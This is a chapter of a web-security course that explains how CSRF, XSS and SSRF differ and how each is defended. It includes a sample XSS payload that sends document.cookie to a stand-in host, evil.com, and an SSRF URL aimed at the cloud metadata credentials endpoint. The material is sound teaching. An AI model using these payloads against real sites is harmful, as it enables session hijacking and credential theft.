Untangling the Acronyms

Chapter 4

CSRF vs XSS vs SSRF

Untangling the three most-confused web-security acronyms

These three acronyms look alike, get muddled constantly, and have completely different mechanisms and defences. Confusing them leads to applying the wrong fix — the dangerous "I added CORS, so I'm safe from CSRF" class of mistake. This mid-course checkpoint pins down each one precisely and, just as importantly, how they relate.

One-Line Definitions

Acronym	Full name	In one line
CSRF	Cross-Site Request Forgery	tricks the victim's browser into sending an unwanted request using the victim's authority
XSS	Cross-Site Scripting	runs the attacker's JavaScript inside the victim's session on the target site
SSRF	Server-Side Request Forgery	tricks the server into making requests to places the attacker chooses

The clearest way to keep them apart is to ask who is tricked into acting: CSRF tricks the browser, XSS injects script that runs in the page, SSRF tricks the server. Two are "cross-site," one is "server-side" — and that word swap (Scripting vs Request Forgery) is where most confusion starts.

CSRF vs XSS — The Pair People Mix Up Most

Both involve a victim and a malicious payload, but the capability gap is enormous:

	CSRF	XSS
What runs where	no attacker code on the target; a request is sent to it from another site	attacker's script runs on the target page, same-origin
Can read the response?	No (same-origin policy blocks it) — write-only	Yes — it's same-origin, so it reads everything
Can steal data / cookies?	No	Yes (cookies, tokens, page content, keystrokes)
Typical defence	anti-CSRF tokens, SameSite cookies	output encoding, CSP, input sanitization

XSS defeats CSRF defences — so XSS is the more severe bug

This is the most important relationship in the chapter: if an attacker has XSS on your site, your CSRF defences are worthless. Their script runs same-origin, so it can simply read the anti-CSRF token out of the page (or cookie) and include it in a forged request — defeating the synchronizer token entirely. It can also set custom headers and read responses. So XSS is strictly more powerful than CSRF, and a site with XSS can't be protected from CSRF by tokens alone. The practical lesson: tokens assume the attacker can't read your page; XSS breaks that assumption. Fix XSS first.

What XSS Looks Like (Briefly)

XSS happens when untrusted input is rendered into a page without proper encoding, so it executes as code rather than displaying as text:

<!-- a comment field that echoes input unescaped -->
// attacker submits as their "comment":
<script>fetch('https://evil.com/steal?c='+document.cookie)</script>

// it renders into every viewer's page and runs in THEIR session

The fix is the opposite discipline from CSRF's: encode output so input can never become executable markup, plus a Content-Security-Policy to restrict what scripts may run. Note these defences have nothing to do with tokens or SameSite — different bug, different toolbox.

SSRF — The Odd One Out

SSRF is server-side and unrelated to the victim's browser at all. The attacker abuses a server feature that fetches a URL — an "import from URL," a webhook, an image-from-link — by supplying a URL pointing somewhere the server can reach but the attacker normally can't:

# app lets you import an avatar from a URL; attacker supplies:
url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# the server fetches it -> cloud metadata endpoint -> leaks credentials

Classic SSRF targets internal-only services: cloud metadata endpoints, internal admin panels, databases — things firewalled from the internet but reachable from the server itself. The defence is again wholly different: validate/allowlist outbound URLs, block internal IP ranges, and isolate the metadata endpoint. SSRF shares the words "Request Forgery" with CSRF but the forger is the server, not the browser — opposite side of the connection.

The Memory Hook

Three questions that disambiguate instantly

Faced with an unfamiliar scenario, ask in order: (1) Whose code executes? Attacker's script on the target → XSS. (2) If no script runs on the target, who makes the unwanted request? The victim's browser → CSRF; the server → SSRF. That's it. "Script on the page" = XSS; "browser sends a request" = CSRF; "server sends a request" = SSRF. The shared letters are a coincidence of naming, not of mechanism.

How They Can Combine

They're distinct, but real attacks chain them:

XSS → CSRF isn't even needed — XSS can do everything CSRF can and more, same-origin. (This is why XSS outranks CSRF in severity.)
CSRF → SSRF — a CSRF that hits an internal admin endpoint, or that triggers a server-side fetch feature, can become a delivery vector for SSRF.
Defence independence — because the mechanisms differ, you need all three sets of defences; fixing one does nothing for the others. A token-protected app can still be wide open to XSS or SSRF.

Hands-On Exercises

Exercise 1

For each scenario, name the vulnerability (CSRF / XSS / SSRF): (a) a forum signature containing <script> that steals viewers' cookies; (b) a hidden form on evil.com that changes your email on a site you're logged into; (c) a "fetch preview of this URL" feature an attacker points at http://localhost:8080/admin. Justify each with the "who acts?" test.

📄 View solution

Exercise 2

Explain precisely why a site with an XSS vulnerability cannot be protected from CSRF by synchronizer tokens alone. Walk through what the injected script does to the token, and state the security principle this implies about defence ordering.

📄 View solution

Exercise 3

Build a comparison table of CSRF, XSS, and SSRF across four axes: who is tricked into acting, whether attacker code runs on the target, whether data can be read/exfiltrated, and the primary defence. Then explain why "I enabled CORS" addresses none of them as a CSRF fix.

📄 View solution

Chapter 4 Quick Reference

CSRF — victim's browser tricked into sending an unwanted request with the victim's authority; write-only
XSS — attacker's script runs same-origin on the target; can read everything, steal cookies/tokens
SSRF — the server tricked into fetching attacker-chosen URLs (internal services, cloud metadata)
Disambiguate by "who is tricked into acting?" — script on page (XSS) · browser sends request (CSRF) · server sends request (SSRF)
XSS defeats CSRF defences — same-origin script reads the token; fix XSS first, it's strictly more powerful
Defences are independent & non-transferable: tokens/SameSite (CSRF) · output encoding/CSP (XSS) · URL allowlist/block internal IPs (SSRF)
Attacks chain: CSRF→SSRF possible; XSS subsumes CSRF — you need all three defence sets
Next chapter: the synchronizer token pattern — the classic CSRF defence, in detail (and your admin-login error)